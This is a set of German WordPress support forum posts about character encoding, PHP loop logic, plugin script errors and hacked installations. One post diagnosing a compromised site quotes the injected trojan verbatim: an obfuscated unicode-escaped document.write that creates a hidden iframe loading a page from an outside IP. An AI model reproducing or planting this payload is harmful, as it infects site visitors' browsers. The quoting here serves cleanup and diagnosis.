Beiträge von codestyling

    Kyrillisch und Japanisch scheint kein Problem zu sein. Bei der Fülle an japanischen Zeichen habe ich das natürlich noch nicht erschöpfend ausprobiert. ;)
    Es geht bisher nur um einige chinesische Zeichen, die sich nicht darstellen lassen. Beispiel:

    Aus:
    他们说忘了摇滚有问题

    wird:
    ä��ä��说忘ä��摇滚有问题

    Probier doch mal, ob diese Reihe bei dir funktioniert.

    Hab es beim mir eben eingegeben und es geht perfekt. Screenshot kann ich machen und live kann ich's auch stellen bei Bedarf.
    Sieht mir danach aus, als hättest du doch nicht alle Fonts gemäß Ländereinstellungen installiert. Wenn alles UFT-8 ist dann sollte das auch so wie hier im Forum aussehen (1. Zeile).
    Ich benutzt allerdings Windows XP64 und FireFox,IE7. Opera und Safari kann ich erst abends testen :)

    Ich habe ihn nicht übernommen, er ist erst nach dem Update aufgetaucht.


    In diesem Falle wäre es sinnvoll, rauszufinden, ob es an WP selbst liegen kann (was Horror wäre!) oder an einem der Plugins, das du benutzt. Wäre es möglich eine Pluginliste zu bekommen (am Besten mit Download Links und von mir aus auch als PM), damit ich das mal analysieren kann ?
    Ich möchte ungern ein "offenes Scheunentor" in der WP2.5.1 haben!


    Müssen wir nun die Site bis zur Fehlerbehebung deaktivieren, um Schäden bei den Kunden zu verhindern?

    Sollte man eigentlich. Es hat ja nicht nur den Nachteil, das potentielle Kunden abgeschreckt und Bestandskunden schockiert sind, wenn deren Virensucher aufschreit, sondern Google stellt irgendwann deine Seite als potentiell gefährlich in der Suchanfrage dar! Das geht dann auch nicht mehr von allein weg, da mußt du Google kontaktieren.

    Nein, passt dann nicht, inc vorn hin und output ans Ende:

    Code
    $x=0;
    
    
    while (have_posts()) {
       $x++;
    ......
       if ($x % 4 == 0) echo "---Test!\n"; 
    }

    ergibt sonst:
    post1
    post2
    post3
    ---Test!
    post4
    post5
    post6
    post7
    ---Test!

    Somit wäre in der 1. Sektion einer zu wenig drin.
    Restklassenring Division geht nur gut, wenn man 0 indiziert arbeitet !

    Und falls man mit For Schleifen arbeitet und indizierten Arrays $array = ( 'Post1', 'Post2', ... );
    dann sollte man 0 indiziert arbeiten können denn ein $array[$x] mit einen bereits inkrementiertem $x liefert 'Post2' statt 'Post1'.

    Dies ist eine Sache, die in den meisten Programmen zu Bugs führen, weil man was übersehen hat.

    Oder miittels

    PHP
    if( $x % 4 == 0 )

    aber das nur, weil ich in Klugscheißer-Laune bin. ^^ Damit sparst du dir zumindest die eine Zeile, die $x wieder 0 setzt.


    Hat einen Schönheitsfehler: Wenn erst nach den ersten 4 das erste mal was ausgegeben werden soll, muß man die 0te Position zusätzlich ausschliessen, denn 0 % 4 == 0.

    PHP
    if(( $x % 4 == 0 ) && ($x != 0))

    ... bin auch ein Klugscheißer :mrgreen:

    Ich hatte genau den gleichen in 2 WP-Installationen (unter 2.5.1). Er sitzt in der index.php im Rootverzeichnis. Während die Seite lädt, sieht man unten in der Statusleiste, dass versucht wird, ein 'xanjan.cn' zu laden.

    Ist wäre wichtig zu wissen, ob das schon vor 2.5.1 drin war und du es nur durch ein Update quasi übernommen hast oder ob er es geschafft hat, sich in eine pure 2.5.1 direkt einzunisten. Das ist ein himmelweiter Unterschied.

    Also ich hab es nochmal mit meiner 2.5.1 verifiziert und ich kann Russisch, Chinesisch, Japanisch und Deutsch mischen wie ich lustig bin.
    Stellt sich mir die Frage, wie du das eingibst und warum es ausgerechnet bei dir nicht geht. Ein Link zur Page, wo man sich das Resultat mal ansehen kann, könnte helfen.

    Hier ein Shot (steht zwar LiveWriter dran, ist aber mit TinyMCE eingegeben worden):

    Ein Link auf die Seite hätte es auch getan, kann man sich dann alles live ansehen.

    Die Seite hat eine Menge Fehler in XHTML Codierung , schau selbst: [Invalid] Markup Validation of http://flimmercasten.bewegende-bilder.net/casten/ - W3C Markup Validator

    Die müssen erstmal raus bevor man genau sagen kann, warum das auftritt.
    Und du hättest dazu sagen sollen, das IE nicht will. FireFox behandelt die Fehler und stellt dann u.U. ein Design dar, was Fehlerhaftes weglässt.


    Alles was vorher auf latin1_swedish_ci war steht nun auf utf-8_unicode_ci. Kann es sein, dass ein bestimmter Wert ohne Kollation-Spezifizierung, also eine leere Angabe, standardmäßig auf latin1 läuft? Müsste dann ja in der wp_posts-Tabelle sein, oder?

    Das hängt dann von der Kollation der Gesamten DB ab. Wenn eine DB angelegt wird, gibt man ebenfalls die default collation an und die wird benutzt, wenn an den Tabellen nix steht.
    Wenn du das samt Inhalt zwangsungestellt hast, dann ist der Japanische Inhalt jetzt Schrott und tatsächlich reale ? geworden. Dazu braucht man normalerweiser eine Konvertierung von ISO ... nach UTF8 wenn das in ISO schon drin stand.


    Ja, mit dem Browser-Zeichensatz habe ich auch schon erfolglos experimentiert. Da die Zeichen im Quelltext ja auch angezeigt werden, muss es zwangsläufig an WP liegen.

    ... Und wenn ich nicht hinsehe, ist der Mond nicht da. Also muss er dann weg sein! ...

    Wenn es bei hunderten/tausenden/millionen anderen WP Nutzern geht, wie kommst du dann darauf, das es an WP liegen muss ? Es gibt bestimmt noch Ursachen, über die wir noch nicht nachgedacht haben. Ich teste mal ein wenig rum und melde mich, wenn ich noch was gefunden hab.

    Ansonsten läuft bei mir WP in über 30 Sprachen sowohl Frontend als auch Backend, wenn ich das will. Momentan nur in 2 aber die anderen (inklusive RTL Sprachen wie Hebräisch oder Arabisch) gehen trotzdem und zwar alle in der gleichen Install und gleichzeitig.

    Dein Shadowbox Script scheint folgendes nachfragen zu wollen:

    Code
    http://wow.nrp.de/wp-includes/js/thickbox/loadingAnimation.gif
    http://wow.nrp.de/wordpress/undefined

    und kassiert dafür jeweils 404 NOT FOUND. Ich schätze mal, da ist was nicht korrekt in einem der Javascripts der Shadowbox. Undefined ist normalerweise der Zustand eine Javascript Variablen, die nicht existiert aber abgefragt wird.
    Es kann gut sein, das die ShadowBox dort eigentlich eine JS, CSS oder Image Datei nachladen will, was nicht geht und somit auf diesen Namen kommt. Somit kann es zu allen möglichen Folge-Erscheinungen kommen.

    Überprüft mal, ob es ein Update des Plugins gibt und vergleiche den Inhalt der Domain mit den lokal entpackten Plugin.

    Nach Seiteninhalt zu urteilen

    Code
    <a href="http://wordpress.org" title="Wordpress"><strong>Wordpress</strong> 2.3.2<br /> </a>

    und wegen des fehlenden X-Pingback Headers ist das eine WP 2.3.2 Version bzw 2.3.3 höchstens. Die 2.3.2 ist aber hochgradig anfällig und muss ersetzt werden, sonst passiert das immer wieder.

    Ja , hast einen Einbruch im Server gehabt. Der/die Hacker haben sich in mindestens einer deiner php Dateien vergriffen und einen Trojaner Code eingeschleust, der ganz unten auf der Seite zu finden ist ist.

    Code
    <!-- ~ --><!-- Nerzul --><script type="text/javascript">
    document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0035\u0038\u002e\u0036\u0035\u002e\u0032\u0033\u0035\u002e\u0034\u0031\u002f\u006c\u006c\u006c\u006c\u002f\u0073\u0074\u0064\u0073\u002f\u0067\u006f\u002e\u0070\u0068\u0070\u003f\u0073\u0069\u0064\u003d\u0031\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0031\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0031\u0020\u0073\u0074\u0079\u006c\u0065\u003d\u0022\u0076\u0069\u0073\u0069\u0062\u0069\u006c\u0069\u0074\u0079\u003a\u0068\u0069\u0064\u0064\u0065\u006e\u003b\u0070\u006f\u0073\u0069\u0074\u0069\u006f\u006e\u003a\u0061\u0062\u0073\u006f\u006c\u0075\u0074\u0065\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e');
    </script><!-- Nerzul --><!-- ~ -->

    Dieser Javascript erzeugt dynamisch den iframe, den bestimmte Virensucher sofort erkennen und ankreiden. Da müssen schleunigst deine PHP Dateien untersucht und bereinigt werden.

    Allerdings kann man so fernschriftlich nicht viel machen, maximal weiter Tips geben.

    PS: Den daraus resultierenden iframe kann ich hier leider nicht einkleben, sonst wird dieser Forumsthread von Virensuchern blockiert.

    In deinem Link verweist du auf u.a. einen Eintrag von rebeccachamb, die das so ausdrückte:

    Zitat

    I clicked on the edit link and nothing happened except "#edit_timestamp" was added to the end of the URL.

    Dies ist ein klarer Fall von Javascript reagiert nicht auf den Click. Mehrere Ursachen und mehrere Lösungsmöglichkeiten:

    1. Lösche deinen Browserchache.
    2. Geh dann per FTP auf deine Domain und lösche alles im Ordner /wp-content/uploads/js_cache/
    3. öffne den Browser, geh auf Seite/Artikel editieren und drück nochmal re-load.

    Wenn es am Front/Backend Caching der Scripte lag, dann sollte es jetzt gehen. Wenn nicht:

    1. Deaktiviere alle Plugins, die Javascript Dateien dabei haben.
    2. Prüfe, ob du jetzt editieren kannst.
    3. Wenn ja, dann aktivier ein Plugin nach dem anderen und teste jeweils, ob editieren noch geht, dann findest du den Übeltäter.

    Wenn es auch nicht geht, wenn alle Plugin's deaktiviert wurden, dann empfehle ich einen neuen Upload des wp-includes Ordners (mindestens) im binary mode des FTP Programms! Danach nochmal die ersten 3 Punkte durchführen.

    Sollte aber jetzt spätestens gehen.

    Also für den Fall, dass du eine Windows PC hast, brauchts du die erweiterten Asiatischen Sprachen und die dazugehörigen Fonts.
    Das kannst du installieren über:
    Control Panel -> Regional Settings -> Language Tab -> Install Files for East Asien languages

    Deutsch etwa so (hab nur US Windows):
    Systemsteuerung -> Ländern/Spracheinstellung -> Sprache -> Installieren der Ost Asiatischen Sprachen

    Dann bekommst du eine Tonne neuer Fonts und die ? lösen sich meist auf, wenn wirklich sonst alles UTF-8 im Blog eingestellt ist.

    Sieht dann so aus, wenn man auch noch in Japanisch anmeldet: